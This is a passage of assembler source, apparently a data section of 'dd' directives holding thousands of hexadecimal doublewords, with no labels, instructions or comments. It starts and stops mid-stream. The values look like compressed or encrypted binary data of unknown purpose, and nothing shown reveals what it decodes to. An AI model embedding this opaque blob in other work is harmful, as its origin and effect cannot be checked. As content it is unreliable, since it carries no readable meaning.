5DCE0D80h, 64B2B150h dd 3BA1C960h, 171AB32Dh, 1617D074h, 23002F68h, 60C400A2h dd 79A48994h, 0E3226907h, 0BC233066h, 0E27000A5h, 84B1E406h dd 0BA4B7618h, 3C993830h, 7968917Bh, 2A118AEh, 0A5524BDFh dd 9F400EACh, 65004CE7h, 56C8D6Bh, 4D790Dh, 6D47B580h dd 0CF831326h, 8591B8CFh, 0FC09D823h, 0C464C50Eh, 0F43660BDh dd 574022Ah, 53900877h, 8D2450C4h, 0EC8028E0h, 13221FBCh dd 59F216h, 4A93B77Ah, 2A446347h, 0AD904E14h, 0E9985890h dd 3B4430E6h, 3E5B6B13h, 0ABC8688Bh, 88E24C0h, 0DBEB1D2Eh dd 75CA8BFh, 6CB073D6h, 5F15F087h, 48FCD57Ah, 7934C106h dd 729DE8Eh, 4C06AA2Ch, 1099117h, 169BC4EFh, 1404CA2Eh dd 2D136659h, 0BCAF54A9h, 0F708FFF8h, 1CD4F9B1h, 225E80h dd 0FFFADB5h, 0FC000AFEh, 0D6DED3A1h, 0B26CE9AAh, 0A5D12094h dd 2889F700h, 99E1632Eh dd 0CC67EABh, 0B783F450h, 8E4C9F30h, 0BF668014h, 79B2E19h dd 3A8B6149h, 0DA35E08Ch, 0CA4D6DA8h, 0AB119330h, 0F29E00E8h dd 2E0454A1h, 33993A47h, 53644580h, 0AAF51305h, 12729C0h dd 757D3DBDh, 88340206h, 481DCA03h, 0AD522460h, 5B91AB88h dd 6C244783h, 0D0377B35h, 0A2EB3900h, 19470D7h, 562AB93Dh dd 844169h, 80F2EA49h, 8F05219Bh, 3A5651CCh, 2EDBFCC3h dd 110CC150h, 0AEE875Ah, 0CEED480Fh, 0D69B00F1h, 6B75E80Ah dd 0BE6000ECh, 0E59AFC3Dh, 8A49193Ch, 108D24ECh, 0C98EB40h dd 21EA01FCh, 601EC96Bh, 119FE8E5h, 5C1DD090h, 0B2CE52F3h dd 93978EE7h, 141BFC92h, 72FAF1EFh, 4DD41E9Ch, 0C1943349h dd 0F5109604h, 0F300F66Ah, 0AC9E4B72h, 16FCAA1h, 29202FDAh dd 3112E4BDh, 4D821D4h, 23802FBCh, 0E1BE00EAh, 87D58CF2h dd 32550C0Eh, 0A4EBA53Ah, 790040B2h, 31E6337Fh, 5E4B0DBh dd 0C202140Bh, 0AD1A0051h, 9EA35092h, 0E46680F0h, 0BED888CCh dd 3BDC289Ch, 4080B0B1h, 3F6E1523h, 9E3CDD54h, 0BFC5935Eh dd 0E62A6480h, 303D8198h, 2C8CF318h, 13F8686Eh, 95186240h dd 6866D920h, 4C8A0505h, 0D039B519h, 24DE9044h, 0A184E120h dd 0E0185828h, 5AFA0A04h, 0E932A87Dh, 0AC89520h, 0D4230E6Eh dd 0E140173Bh, 30963A52h, 0B90C5490h, 0C0BC9508h, 0A19D1D6Ch dd 40A4A4E1h, 2604BB18h, 0CA7E43Bh, 59D88DC7h, 0E1BA02C1h dd 7E420B21h, 6CECF4C0h, 0B0D244BAh, 9FF900D1h, 1F59E180h dd 0D5654878h, 950EDE0Bh, 0A2B604A4h, 0DF3D08D0h, 22E74F29h dd 2D1048B0h, 0D420286Eh, 9FE400E0h, 1F1E7F05h, 0E7038E5Eh dd 1CB1ECF2h, 906F8DC8h, 305ED700h, 0FC72B40Dh, 1D9F6CB4h dd 8170900h, 4ABA9147h, 0B0F82051h, 0AC243DA8h, 1D409892h dd 13114E21h, 0C405D664h, 0B0F4B65Ch, 67F9FE2h, 8E2DCB86h dd 0F400A9E5h, 0DA156275h, 0BE61B8h, 6FBA1A6h, 9AF12314h dd 0C81A2009h, 0CD3CA1E0h, 404BBC09h, 6DC09888h, 2865CE84h dd 77B8CA30h, 672A18EFh, 405BF8B1h, 10005E5Fh, 36E311CFh dd 462A090Ch, 8C800FF5h, 3EF3E982h, 0B84250B2h, 0F5DE0A06h dd 0C92EA05Ch, 3C9B8A0h, 18B84A0h, 7C532A30h, 86527862h dd 85654B69h, 0A47402h, 50D766DDh, 0B79A39BFh, 0F7C33E00h dd 0EE15340Dh, 7B540063h, 336EC465h, 1B0051D7h, 1D032F11h dd 58D953E6h, 7F03F9E7h, 0DA18E454h, 0A0EA78C3h, 9A986CE0h dd 6BC9D500h, 6D7AFE86h, 9F5600C4h, 1D882612h, 1C002294h dd 9151660Ah, 523069h, 847582EBh, 1F286192h, 22CE871Ch dd 58509553h, 0E1C040A0h, 0F2C87D52h, 0C79530A6h, 9269013Bh dd 884FA4F4h, 0E6D9E03Dh, 55D0256Eh, 804E3852h, 0EEC0EF88h dd 908A43BDh, 0FB884468h, 218098B6h, 2E31BAEBh, 3E481D02h dd 73A1406Bh, 8936ED6h, 982DDF2Fh, 80CA35D8h, 5A0D851Ch dd 10C0BD40h, 690A21ECh, 0C18A8ADh, 0B002BC7h, 727ECD6Dh dd 29E7609h, 0B327AF34h, 856FA93h, 0D3F1380h, 0F3E8154h dd 18631BC6h, 8E2915C4h, 0C3A38874h, 459060EDh, 2E507B31h dd 0D0126F8Ch, 8C5FC5Dh, 0A8B0800h, 5AAC6D54h, 88704156h dd 0DBFA4A69h, 31BD1100h, 15112F2Bh, 44910A6Ah, 11C4A7ECh dd 0AE9819Fh, 0C0445AFDh, 0D000448Bh, 8E8B0AD1h, 34941E61h dd 0B8904813h, 78205AFCh, 69A4A079h, 14E9735Fh, 3483336Ch dd 8CF3ACh, 0D945EE66h, 69DE39E5h, 0CC500500h, 927FA5CEh dd 0B2700906h, 0C5372B0h, 1F2E4A58h, 67B994A9h, 0F020B016h dd 0F8830CCFh, 2CE0E986h, 0D01CE029h, 5929DE09h, 0A3B04038h dd 9DE4BF25h, 8B1D7276h, 6F41E7A2h, 0D1A5F021h, 7DDD3891h dd 0B9D60535h, 62347890h, 806158FDh, 3F102858h, 1E9522E8h dd 8323C2AFh, 0A330C094h, 0F1BD2BB8h, 0C7DE5700h, 0F81C6B2Ah dd 0D5FC37B2h, 0E3EDA059h, 4104E567h, 3D58A2A6h, 59CD70D1h dd 9F812078h, 389B5AACh, 0B008A68Ch, 7CE09694h, 0A403A046h dd 27427C61h, 0A3B9FEC8h, 5DAEB004h, 0E0C0D754h, 15E71E1h dd 9005AB3Ah, 0D7C909F2h, 1BE478C8h, 6F07B098h, 33FB9203h dd 0A95CFA37h, 8781033Dh, 8E42B7BFh, 0F43C86A0h, 334CD30Bh dd 0DF700206h, 0BFC4425h, 0BCE1B711h, 0D0D298C4h, 0A688D4CBh dd 6664E2CFh, 4059E5h, 63ED92EBh, 0FF00B39Eh, 328D3BF3h dd 9229F40Ah, 11B90674h, 80C6D54Fh, 0BE220916h, 3C83C0C5h dd 0FAC42449h, 63CF4008h, 3C2E1356h, 4496884h, 3640DC78h dd 4AD6B81Bh, 469A3Ah, 0EF053134h, 1CD3CFE2h, 0E59E3AB2h dd 65CD3018h, 0B81F484Bh, 40C4C14h, 0B11C45D5h, 9CD44301h dd 2549E108h, 0BC3439ECh, 180B8BEh, 0DC32164Ch, 74B8C540h dd 3C99EFE0h, 0C618E8D1h, 4C123C73h, 0F491FA07h, 0C1CC6EC5h dd 7FEA007Ch, 8E061AE8h, 0EC1E7423h, 0F8C13B42h, 0F4872B10h dd 7E07D02Dh, 601D115Eh, 2F36E95Ah, 0BD5C30Fh, 0C9780287h dd 661048BAh, 7954B183h, 940019EDh, 2117C31h, 5148DC6Ah dd 80D88A05h, 875D046h, 952E6446h, 0A0DC70h, 14AAD546h dd 0B126559Fh, 960E9203h, 0BDF5A85Ch, 0E04AA840h, 0D1A59A05h dd 523C7438h, 0AF49C180h, 0C5F8C96Ch, 81282D3Bh, 0F91CB144h dd 0F040F78Eh, 4C5C4FABh, 47E1846Dh, 511B00CCh, 0ECB440E6h dd 17807899h, 0D3C2D278h, 42FA07B0h, 43E46AFCh, 8892471Bh dd 59097850h, 0C6C9C520h, 5E54BEACh, 47009946h, 130973C4h dd 584EAC6Ch, 36B7A041h, 9C31A106h, 0C868B1F5h, 0E48CCCD6h dd 0E02F35FEh, 0C7B46904h, 92C49838h, 3AB4BD52h, 17532F94h dd 8FA391FCh, 1B674DEh, 2E2448EBh, 0B822F527h, 0EFFD9C00h dd 8D3D97FCh, 884368BEh, 0A440A024h, 0CA0100AFh, 7B7FD686h dd 8F0E1B0Ch, 61E7B27Eh, 80778E4Ch, 9D09D870h, 0F81FAC01h dd 0BC6068D6h, 1008CBFh, 42E20C79h, 13F726A1h, 2263AC5Fh dd 24C4FBB0h, 991C2C70h, 6841CE76h, 0A13C3B6Fh, 0B049B444h dd 0BB846B51h, 825EC2C1h, 0CAA9FE08h, 27084024h, 8E631673h dd 0C194DE6Ch, 1BADA38Ch, 0C3C0A2DDh, 1E0094Eh, 18D13610h dd 0A771DCA1h, 8AE69318h, 6F6B8607h, 4C604FACh, 953C97Eh dd 1EB21167h, 1873E062h, 2E258h, 145C6D2Bh, 0EA2254F9h dd 42003158h, 30EFE228h, 7E7ECABEh, 186E2E09h, 0E5E08199h dd 3422C254h, 0DC607A26h, 14777F00h, 322E27F7h, 0B09AF684h dd 0FCAA4418h, 1F047F07h, 0ED4046F1h, 2C84B32Ch, 8D806DCh dd 0AC2661ECh, 19B4674h, 4E2E6C0Bh, 0D082B634h, 120554E4h dd 957974F9h, 513CDC19h, 80022A5Ah, 48D3FAA0h, 5CDEE068h dd 0E7840C27h, 541C8806h, 81955A7Eh, 528DB1D0h, 0AC29F9E9h dd 8A4CEF00h, 0A4F7472Ah, 660709ECh, 106E2D1h, 168D4B6h dd 52A9849Ch, 93AF4622h, 54011648h, 0A620562Fh, 9FACD8A4h dd 0B3694917h, 46F01CD8h, 845E30F2h, 3D3FF404h, 785DEC00h dd 0ACA04B1Ah, 662F9C9Fh, 618007Ch, 15B1A908h, 0D0A2F4E1h dd 0FED0A300h, 19E017CCh, 0C4D9D169h, 0DA513D98h, 70D2C581h dd 6806F572h, 8CE6BC80h, 0BF6B5901h, 845651D5h, 0A85DE88Ah dd 3AB40354h, 190C9716h, 0E8D86540h, 0BE3218BCh, 0CF9018ABh dd 0E454D8E3h, 214CA29Dh, 4B50783Ah, 231C2F48h, 9B003BEAh dd 1D47E4B8h, 6E62F4AEh, 0F30FCEF8h, 0ED7658F0h, 0F45EE409h dd 8C4BBh, 0DABA66EAh, 6E1D0B0Ch, 16750773h, 65B2AD05h dd 0E0A6BD06h, 8E988AE0h dd 71314000h, 56D2F639h, 525C1C05h, 0FC02C476h, 805CBC6Ch dd 299710B9h, 7D27007Ah, 0B7DF7CE0h, 0D2079566h, 0CF56C507h dd 48FCA444h, 23402E96h, 97D300B9h, 8B553C72h, 4EAEEE00h dd 0E5061FC1h, 0B84C82AFh, 0A4C4F8A5h, 0FFB9C560h, 2608BE02h dd 5206E005h, 3A540980h, 908033DAh, 9B84A057h, 0C3E49001h dd 9EFA5E2Ah, 0B1E18020h, 1CF980A0h, 460FF854h, 1A1E6B76h dd 4380754Ah, 50105153h, 0E0030245h, 0B3845E2Eh, 86CE3068h dd 66463490h, 0FC0AE201h, 0CA80D5Ah, 0EA9F88E5h, 52330A00h dd 0DCC1601Eh, 0A5F728C8h, 0F0920944h, 840163F2h, 87492852h dd 26785939h, 2650187Ch, 0BE242B22h, 41040618h, 46FCD860h dd 0E87890BBh, 5A19096Ch, 3460C920h, 321822B4h, 7868EB94h dd 18BD69E5h, 6900ACD1h, 0C091DD98h, 1B9F071Eh, 204C6C6Eh dd 0A4A865CEh, 613CA295h, 0AB34E01Ah, 44349E55h, 8004A85Fh dd 0BEBABDB6h, 6434008Dh, 2C29015Ch, 0D10858A3h, 89EF22DEh dd 78C6D3A0h, 90F508C9h, 3F79D760h, 0AA890216h, 9C455FE9h dd 0C267B8E4h, 7CDA91ABh, 0AAF91B08h, 562D0412h, 0E584B03Ch dd 98D2CE2Ch, 4084CDCBh, 0B02AF551h, 0FE6C5802h, 5B355F1Dh dd 2668A6B0h, 0E0CB5AD0h, 0B00D2382h, 0DA06C3Ch, 2603F475h dd 0B3AD06Ch, 76F8B139h, 2CAE50D4h, 0AF905572h, 0AD11FC97h dd 8A251780h, 1B094048h, 467B332Ah, 22060048h, 42701256h dd 2300E692h, 3981A51Ch, 14F54BDh, 0C8806B7Fh, 6B305662h dd 6FD2F401h, 9050E38Eh, 2C194453h, 0D5C477h, 76077CB8h dd 6217455Bh, 54F48D6Ch, 147504BAh, 0B2D3A19Bh, 50630060h dd 61E464BCh, 59FB1C42h, 2225F958h, 0F8B10449h, 4896D6DEh dd 7D5C5640h, 0ACCD00A6h, 0D5D093F7h, 97647F09h, 0D0B9CB7Ah dd 0ACF4D10Ch, 0FB719A69h, 3E964100h, 5963B5FDh, 53290E7Dh dd 49723910h, 45AF4B4h, 30B09100h, 0D73D6ED4h, 849800A0h dd 829381CEh, 68B0CC1Eh, 31919944h, 0FC39A74Ah, 95872B2h dd 79AF5792h, 6CE10828h, 48A00836h, 0DF2298E9h, 6978B912h dd 52CEE841h, 0A46CA4D2h, 54B8DC4Dh, 0CD3DF702h, 6328AE59h dd 0B920A8B0h, 460D2A3h, 0B1384Ch, 6A511EB0h, 0E83095B6h dd 0AA00E92Ah, 0A96614CAh, 704775D4h, 0A8494C7Dh, 0A4824977h dd 600ED3B8h, 0A0A4DC64h, 0DD5FF2BBh, 0AF492292h, 818C890h dd 55A8CCC5h, 49B27A68h, 6F0794F8h, 83821330h, 0B008C01Ah dd 91FA05h, 0C9DD0410h, 0D9005884h, 0B530BF50h, 1B79654Ah dd 9863A99Eh, 0CFB8C2A4h, 0FE266020h, 84152D52h, 333A60E1h dd 0ACC41620h, 18626CF7h, 0DE19A11Ch, 0CD2E5008h, 5B3EFC88h dd 0C09CD492h, 0B0579AA4h, 23C8208h, 0CF5BACC0h, 78152D0Ch dd 1B80A091h, 0BFA7AFEBh, 0C7109295h, 60B84488h, 189595Ah dd 11B77BD7h, 43B9C107h, 72E2D4C8h, 740220DEh, 0E69CC912h dd 98159D3Ch, 5980B291h, 8041642h, 0E20CA102h, 1128F4h dd 61D3A2F7h, 0DCA05CF2h, 40176B9h, 92AAEA83h, 29BE0D48h dd 0C64F9Fh, 4D7928A8h, 381EA0E0h, 3C6422DFh, 47EE6387h dd 0A3A5AC70h, 7847430h, 0ADB518CAh, 0A18C8159h, 86EDE052h dd 0F0C1431Dh, 8D083B18h, 106E064Ah, 30F952C2h, 0DB00B4E8h dd 5BC5ABD5h, 0F02EC85Ah, 110C0705h, 47CACBD9h, 9095E0F9h dd 10C1CD0Bh, 861CE031h, 3C84ACCh, 498563ABh, 900794A8h dd 64EBB7FCh, 0C19B1B02h, 0DDEB508Ch, 6F52AC42h, 3D472F9h dd 0DCBD552Dh, 66B0994Fh, 5A03B846h, 26E4E728h, 0CA90A131h dd 171E2C4h, 4D0E295Dh, 81E64164h, 21699140h, 74F08F46h dd 0F8BC6Dh, 6BF79202h, 4F4CAA23h, 0E7831BEEh, 7A019AE8h dd 26B801A0h, 67BC803h, 934CF4D2h, 4D039177h, 0D5A6AE8Fh dd 0E54AD8DCh, 840B0126h, 92A2457Ah, 80902B53h, 1E134C02h dd 4906F704h, 7C908DD7h, 3139CD55h, 4B44868Bh, 880D58Ch dd 0CCFC917Ch, 1E3F94A4h, 902FCE82h, 18BB3C4h, 0DC0A4CA8h dd 0F707082Eh, 6F0C11B0h, 656AF100h, 4A56F7D8h, 6D060A72h dd 18CC756Eh, 63771048h, 6F59028Ch, 49F59BDBh, 0D96E5C00h dd 405560ECh, 52282BB0h, 511804ACh, 4D102997h, 5807182Ah dd 0FF0B2124h, 0B3049600h, 0A2AC71F6h, 1F08CC6Eh, 65006421h dd 804B4D96h, 6ACCF955h, 6F5915h, 0E6AF5A6Bh, 0A9332F8Ch dd 0B4081Eh, 6B046921h, 0A4B9F2C3h, 8D062000h, 1A8A3B31h dd 3021F627h, 0C9A1A9DCh, 0B70AABE8h, 5C29CF74h, 5B063C1Dh dd 3115402h, 0F2E50872h, 2CA8F5DCh, 0F74ECD5h, 12214C67h dd 16EDE500h, 48D20130h, 0FC3A925h, 6ECA1019h, 26C00CBh dd 35B9D9E1h, 3B050E24h, 0ECACC938h, 4A23382Eh, 0EA372400h dd 761BC61Dh, 309CA834h, 29506FA1h, 4FC8358Ah, 1955A586h dd 78C0AD07h, 54C53D72h, 0E5033C20h, 0DDC29FDh, 0FB174074h dd 0A40038E5h, 0EF4AC4AFh, 28D7B6BAh, 46F0B97Ah, 96FE0704h dd 7048B303h, 960A5865h, 4CAD30DCh, 89E24C33h, 66E0D21Ah dd 0C1AC60BDh, 0CD55D90h, 4E5F3103h, 306F295Eh, 0EA21C208h dd 0B200D555h, 0AC04C01Fh, 600FB5E2h, 0B835943h, 0FA0045C2h dd 97CB4457h, 2F8B75h, 0DE7BEE10h, 0EDC836A5h, 0B6B8B300h dd 0EC69311Fh, 51321822h, 0B67B114h, 0F518192Ch, 0A85FF000h dd 0D84449h, 24DD0237h, 0CA78FCC7h, 131DA402h, 4986A6BFh dd 60268E28h, 0E04BB9E0h, 894AEF00h, 1D2A1AA8h, 7C2E35A6h dd 23A83AA9h, 0E48D031Dh, 0DD80A983h, 0BF003331h, 2130E280h dd 358668h, 0BC9754D0h, 40235C20h, 9AB0E00h, 0F9FA8F93h dd 9F511834h, 95BA5017h, 0E0BEAF28h, 32FB44h, 0A39749D0h dd 0C67B1AAh, 27D3C918h, 28CAD9h, 6AD679C0h, 356DED05h dd 62A7A200h, 25BA332Fh, 0E851E7BDh, 0B2F01232h, 5CCA007Fh dd 0D44F0F69h, 6D008266h, 5DFDECDBh, 542E98F7h, 38BA88E4h dd 0C394338Ah, 6B30DC12h, 440F4BA9h, 0F2E4A1C0h, 94CEC27h dd 71DA85Bh, 227FC000h, 4400F753h, 4B19FC87h, 0C4538h dd 93658440h, 0EC80507Fh, 3931DC01h, 3FB6C501h, 58372081h dd 80BE6974h, 82D0F911h, 0F7CFB847h, 1B636F4h, 0AA4A249Bh dd 80836662h, 0E6980229h, 0DFF8A6h, 5328EB48h, 0BD3EFED6h dd 26044500h, 0D441E647h, 880D60E7h, 48F82C3Fh, 850C9076h dd 9933B67h, 0CC21C018h, 7B3648F1h, 0F95C5219h, 0F0D061C1h dd 113B6023h, 0CD1CD41Fh, 0A5C8C016h, 53095D19h, 0DC7F2180h dd 59327B1Ch, 635ABF00h, 0F36D3C6Fh, 0C54778Dh, 8B868F4Eh dd 0AB3EE0C8h, 0A5E180F0h, 45F443B8h, 0FE5300C3h, 0CB7CCAAh dd 902E742h, 658F8BE6h, 0A06F0F5Ch, 0C6D4FAE0h, 8331BC0h dd 0B409C1h, 0FADB8021h, 9D5C5D22h, 2E080A8h, 6316E9C0h dd 3D30C0h, 80B7E1A0h, 25D77C69h, 0F209DF03h, 0BE074B29h dd 87F40339h, 6903521Ah, 0D93FA2C0h, 0C4A88AEAh, 4E009E64h dd 287C02F8h, 0CC7B0B44h, 0C5219508h, 0F54E9602h, 98814314h dd 6061E0h, 80B391D5h, 8A0EFB28h, 0F1E3ED01h, 548E69Ch dd 58842981h, 80221A8Bh, 7CC2A481h, 0C0390A48h, 0FEF35F21h dd 447CC3A5h, 194B0431h, 0F1BC01E0h, 20999C00h, 3DB6715h dd 8CA32700h, 0D0928381h, 290A6AE0h, 0E8023B51h, 3A60C38Bh dd 18DB2041h, 91483BF9h, 1A118D23h, 488ED300h, 23919910h dd 0EFC044A0h, 38BCCF3h, 4AEBE900h, 0E0AF5EC7h, 1BDF0E09h dd 8364AD7Ah, 548C83FFh dd 4EA4D906h, 0C14287h, 36DA0AE2h, 5BC2A69Fh, 1B9FE58h dd 2F7571D3h, 0E9C0E3ECh, 0BF68008Ch, 0F7CAF358h, 603B5EA1h dd 0C2858586h, 0E0220AD9h, 4E9C30DFh, 6C02FA11h, 0C7809688h dd 8EA64E94h, 0F19E06EDh, 0F10BE0D9h, 7DE21F13h, 0D0018B8h dd 7B48E834h, 21C306E0h, 0F97FF0CDh, 56F019B3h, 0D1860A17h dd 11D4DD97h, 0DF8F0041h, 34EAAE1h, 2991E8E0h, 7154CFD5h dd 411892h, 0AFABC0A2h, 4B6BA36Eh, 0E2700C80h, 0D4050045h dd 0B3582182h, 9F0E597Eh, 414E13EFh, 0ECFD678Ch, 0C0439820h dd 0AFEE2599h, 20E2D3A3h, 83891801h, 0E791AB4Ah, 1FF20C22h dd 125DC630h, 8244ADCh, 0F6C1DA2Ch, 0F5D99248h, 0CE881718h dd 0C548008Fh, 7A94B10Ch, 0D91D785Ch, 0A74003A9h, 0BE5DFEC0h dd 310462C3h, 9C90CB01h, 530058A4h, 0EA5F950Bh, 2A71D717h dd 3B8C486Bh, 0CF09FD4Fh, 1E00CD3Ch, 0D705F398h, 64303D1Dh dd 6A02E382h, 8A40610Eh, 0FA08D118h, 0C4C8C6D5h, 0D99F41B7h dd 446156FAh, 0FCAF9E3h, 51DE01C0h, 244C4C97h, 3BF28Bh dd 779FE766h, 0AE396C7h, 723FADEEh, 800832A4h, 0FAD33088h dd 0F8C6DB11h, 8180B588h, 5E5AFADAh, 91E11A33h, 0BC041841h dd 48FB60D5h, 52DDFC9Fh, 0C9C0DC60h, 0D97048F0h, 0B5ABE100h dd 0F7A45293h, 25605F3h, 9E0CDDC5h, 6BD3C434h, 2B1F088h dd 0BEFD78F4h, 40484623h, 271FDDDFh, 0E8E49B5Bh, 95C287E0h dd 0A34684BBh, 0F64E9001h, 0D298C02h, 88CB20EEh, 2E06354Eh dd 94667408h, 7E170519h, 0C0E93A72h, 1B79DA6Ch, 0AFEC5700h dd 0D86E344Ah, 7C8F2CC0h, 3F4B8648h, 4E18A956h, 69C9B189h dd 5151C282h, 0FCC0FEB4h, 3509BCDEh, 80AEC438h, 7385655Ch dd 0E1B078A7h, 2C08E831h, 0F0394438h, 8B2B4D7Ah, 0CD01FC96h dd 0A8C6D1FAh, 8388BD18h, 82FA01D4h, 710F4993h, 7B64F0B6h dd 0CDBCE208h, 98019D09h, 582CA98Bh, 6B18EA0Eh, 4ADE8111h dd 0F8440523h, 5088FCCEh, 0D70079C7h, 130E311Bh, 50DA1A8Dh dd 8F1A94BCh, 688479F4h, 0FACE6095h, 0B0C623D2h, 8200B311h dd 53FBFAD5h, 0EC0CAECBh, 793A0B48h, 0B8787DBFh, 55420420h dd 0CC495810h, 38266DF8h, 4676FC13h, 99190E93h, 0C15A608Ch dd 0D6B96BF3h, 49100C91h, 50EDE081h, 0D1801CACh, 62A00E01h dd 81CDBF0Fh, 0AB2C840h, 8459C065h, 75D54C42h, 4DFCCC07h dd 0A3EBBD01h, 49BBD8h, 19B02261h, 0C332D2CBh, 191C406h dd 2969DDh, 7E77F835h, 6359C71Fh, 89455E07h, 3518501h dd 65136DC5h, 4438B7E7h, 0B349C02h, 8C58300Eh, 8505FD51h dd 0D8885D01h, 5CD70036h, 0D6747CF6h, 2207D1CBh, 3A02E1FFh dd 4C1E3920h, 4ECC0067h, 0F80474B9h, 0ECA0F784h, 0FA001770h dd 0A893240h, 4DB0F9h, 14ECB64Ah, 97E3071Fh, 3C2AB16h dd 0B502E803h, 2E05A0F2h, 667326E6h, 899410DCh, 265811E0h dd 0FFD030h, 0C2B3D4A8h, 0ED0AFE51h, 0BA304400h, 45B878Ah dd 0FCD09F5h, 640021EBh, 0F38EB034h, 0D94C2230h, 0A0536E8Bh dd 31336A4h, 69BE6C17h, 8EB8CEAEh, 29C04822h, 8248D38h dd 8CC60006h, 78E8CD37h, 0CE030F15h, 8E978156h, 8659A766h dd 72B16A82h, 8241C023h, 4DEACF45h, 7AE56106h, 14C92DE0h dd 0CABBA4F7h, 43970E00h, 5CC083F0h, 648DDA16h, 0DBE16A00h dd 130290h, 66D15947h, 5871FEA0h, 9539F200h, 458F87D9h dd 0E0973E7Bh, 0D5047A29h, 1FF80D0h, 61ED3CC9h, 9D048F77h dd 0CB818319h, 0A788C643h, 0E387F0h, 0DE29BF10h, 0FF840793h dd 38330930h, 0F7F6386h, 0D3E1F30Ah, 0E8553883h, 0E9C0A3E2h dd 2A380124h, 803F0064h, 4C81FBDAh, 1917EA0Dh, 9165E4F3h dd 361FDCB2h, 89FB8400h, 228DC749h, 0D48F1AD5h, 67F5047h dd 317E2Ch, 0BBF9A3A4h, 9CC110E7h, 590B93E4h, 8C18E43Ch dd 726FA8DDh, 8C8F18F7h, 3F20C00Eh, 0EF1EC07Ch, 18F10398h dd 8850D3C3h, 508AB342h, 2A3E6C8Fh, 74F2E3h, 5D32FA93h dd 2E50D31Ah, 0EAE1EC00h, 710EDD69h, 59BD0339h, 82223AFFh dd 0D41698C9h, 8B00FD08h, 75C658E0h, 7ACD9325h, 54400A07h dd 0BAC4EE1Eh, 1D9D43BBh, 9326C314h, 0D818ED37h, 6FB003FBh dd 634F2887h, 75773164h, 34738FE0h, 0BA76222Ch, 0D606BD00h dd 0E22A1EB1h, 0D0A30034h, 709E8D7Ch, 0FE003009h, 845FC712h dd 30F05728h, 462C394Bh, 6A091C37h, 8F55E085h, 18309EC0h dd 15F9DD77h, 202F7F3Dh, 10E67DE1h, 5C1AEC41h, 0DA0056F7h dd 0A62D80F6h, 0D20F059Dh, 8047F303h, 2F8D812Ah, 30340117h dd 0BA4F5F7Bh, 2039A320h, 670F81B0h, 14108258h, 1077548h dd 6E3D9135h, 152625C0h, 0E6030036h, 0D14602DAh, 0FF007152h dd 3FF205EDh, 0ABF6C9B7h, 37081834h, 0E3E9C086h, 0B4803A56h dd 83BA03Eh, 71E2B980h, 27FB8361h, 0FFB69C09h, 86E83D7Bh dd 1007481Eh, 140E0812h, 0BDE45000h, 12D564B3h, 3D8442h dd 0AE1F1E64h, 91B4436h, 0B22916B7h, 7B8522ADh, 0AB214324h dd 10551217h, 0F7887A6Eh, 19C488B3h, 9227E48Bh, 5B02EE80h dd 0DB1621AFh, 0B1CD01F3h, 11868E11h, 0DE11A88Fh, 0B21911D4h dd 0DF0E4D00h, 7D29E80Fh, 0A7064033h, 0E69252h, 0C90FBFB8h dd 0E5685862h, 7C947001h, 5CAD75CFh, 0F8DB0AC9h, 0FEE348Fh dd 2911502Bh, 0D96094CEh, 5C6E6DA8h, 0C401AF75h, 0C952407h dd 49CCB850h, 0B842E8DEh, 0F498E0h, 0DB551BB6h, 763B9492h dd 14F2BE00h, 0E72166C8h, 0FD7B29h, 68285C8Bh, 0E977F61Bh dd 876DB307h, 0F3E08521h, 1C1434h, 352D9ED2h, 1E063364h dd 0EEA0D005h, 65C0C995h, 0B15911h, 0B566801Ah, 62702C8Fh dd 0D05B1901h, 0A872FB8Eh, 66AE80EAh, 0FA8F0276h, 6DAE0025h dd 0F2CA451Bh, 0BA0EA4E3h, 8023F4F6h, 61C2899Fh, 0BD26000Bh dd 0F5AD76A6h, 9E003C2Ah, 0D65A10B1h, 38FEE5Eh, 0C06AE2EDh dd 0B807FCBDh, 9C720552h, 0CDCC93h, 0E5C1F46h, 0A22C14FEh dd 0B8915D00h, 0F25EBB36h, 97F40178h, 7D0A2963h, 12CD20C8h dd 796393Ch, 6288C58Ch, 54800FB4h, 1B383A0h, 1FFD4F6Ch dd 70596D2Fh, 0A8EED7E5h, 7DA6F400h, 19AEB066h, 46D60058h dd 15CBB353h, 7000762Fh, 624A0AA5h, 4AA2A9Ah, 3F1BF12Bh dd 0A1BDC0FEh, 7F00B69Fh, 48AE70B9h, 18D16443h, 58AFBF1Ah dd 7205DF6Bh, 0CF067594h, 73449C00h, 0FD5B8BB6h, 14CA1080h dd 896EFE19h, 0AB125E06h, 0B80C53h, 79B44763h, 0DDC3F544h dd 8B81ACA0h, 9830E27Bh, 631F10D8h, 2D251EB0h, 3E39408Ch dd 1C1DA92Ch, 499B1030h, 50FC5h, 98D2BF9Dh, 6141F5ACh dd 4446B502h, 90A58F1Ch, 0FAB990h, 0FBB65471h, 0F851579Ch dd 8C3A7B07h, 99B03F9Dh, 78691298h, 0FCD00077h, 6A307579h dd 0B4F8D65Bh, 0E36C5801h, 5A7CEACh, 0D96DA080h, 9CD2DEF2h dd 0C1682206h, 0F89866h, 5FB2B305h, 0BABC811Dh, 1AD46100h dd 4D5B43EBh, 0D1D00757h, 2007373Ah, 0B9695264h, 0C9F13Fh dd 572FA55Bh, 1D95A6h, 8B7FFE3Eh, 11E534CDh, 0A74EC500h dd 5F0680D3h, 0E203240Ch, 88FB8004h, 0EC98545Dh, 913A48h dd 121B1A1Fh, 1CFAFDFEh, 40D4D67Fh, 0E8288613h, 0F004979h dd 0EDAB1BC8h, 9BA01h, 65E08ECFh, 0DD74BCF3h, 0F5A84C00h dd 0B2145052h, 7E99005Ah, 3B3D34DCh, 0B40A40BEh, 0C24D0484h dd 0B5643A0Ah, 0F033F506h, 268A0004h, 6FE3868Bh, 8490B275h dd 2A65FB0Fh, 99D2314h dd 0FE300090h, 0C60EB78Ch, 0EF00F7B0h, 9B638BE4h, 28A7DFA9h dd 1F17287h, 327158DDh, 80F8A155h, 0D298D938h, 58BCBC2h dd 0E6417A6Ch, 69CC0013h, 97D3F182h, 0DECAFE00h, 1CA2323Dh dd 0B1580033h, 8B7E151Dh, 0C305C57Ch, 96D4CE78h, 98C90083h dd 37749Ch, 3EF64F52h, 0D75A7CADh, 2483145Ch, 0E9070C9Ah dd 0C7A63AB9h, 1A842F11h, 0D8008A7Eh, 0C5EF7778h, 269090B7h dd 80B41C40h, 8EC4C241h, 6007EDCEh, 91026EEAh, 74B1EB50h dd 2BD900E2h, 881466B0h, 6100BC13h, 7EC5D002h, 3D1ED22h dd 3FF06731h, 0BDD878D2h, 4CEAAB72h, 76E9D06h, 0F88565h dd 10054593h, 86F4A9ACh, 0A14F0D00h, 694DBB7Dh, 36676EAh dd 383D119Bh, 1B880A56h, 0AE0407ACh, 5953E03h, 